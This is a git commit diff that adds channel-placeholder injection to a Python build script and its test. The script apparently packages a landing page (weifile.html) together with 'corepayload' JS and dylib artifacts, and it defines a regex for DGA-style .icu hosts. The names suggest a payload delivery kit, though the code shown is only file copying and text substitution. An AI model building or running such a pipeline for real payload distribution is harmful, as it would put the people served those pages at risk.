feat: xxbb
This commit is contained in:
@@ -41,6 +41,7 @@ XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
||||
WEIFILE_ROOT = "weifile"
|
||||
DETAILS_ROOT = "details"
|
||||
LANDING_NAME = "weifile.html"
|
||||
CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
|
||||
CORE_WIRE_NAME = "corepayload.js"
|
||||
CORE_MEMBER_NAME = "corepayload.dylib"
|
||||
SHOW_WIRE_NAME = "show.html"
|
||||
@@ -305,6 +306,13 @@ def build_details(
|
||||
}
|
||||
|
||||
|
||||
def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
|
||||
text = html_path.read_text(encoding="utf-8")
|
||||
if CHANNEL_HTML_PLACEHOLDER not in text:
|
||||
raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
|
||||
html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
|
||||
|
||||
|
||||
def copy_tree(src: Path, dst: Path) -> None:
|
||||
if dst.exists():
|
||||
shutil.rmtree(dst)
|
||||
@@ -589,8 +597,10 @@ def main() -> int:
|
||||
if not SOURCE_DETAILS.is_dir():
|
||||
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
|
||||
copy_tree(SOURCE_WEIFILE, dest_weifile)
|
||||
if not (dest_weifile / LANDING_NAME).is_file():
|
||||
landing = dest_weifile / LANDING_NAME
|
||||
if not landing.is_file():
|
||||
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
||||
inject_channel_into_weifile(landing, channel_c)
|
||||
copy_tree(SOURCE_DETAILS, dest_details)
|
||||
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
||||
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
||||
|
||||
@@ -83,6 +83,10 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
details = artifact / "details"
|
||||
self.assertTrue((weifile / "index.js").is_file())
|
||||
self.assertTrue((weifile / "weifile.html").is_file())
|
||||
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
||||
self.assertIn(channel_c, html)
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertIn("/t.js", html)
|
||||
self.assertFalse((artifact / "source").exists())
|
||||
self.assertTrue((details / "show.html").is_file())
|
||||
self.assertTrue((details / "corepayload.js").is_file())
|
||||
|
||||
Reference in New Issue
Block a user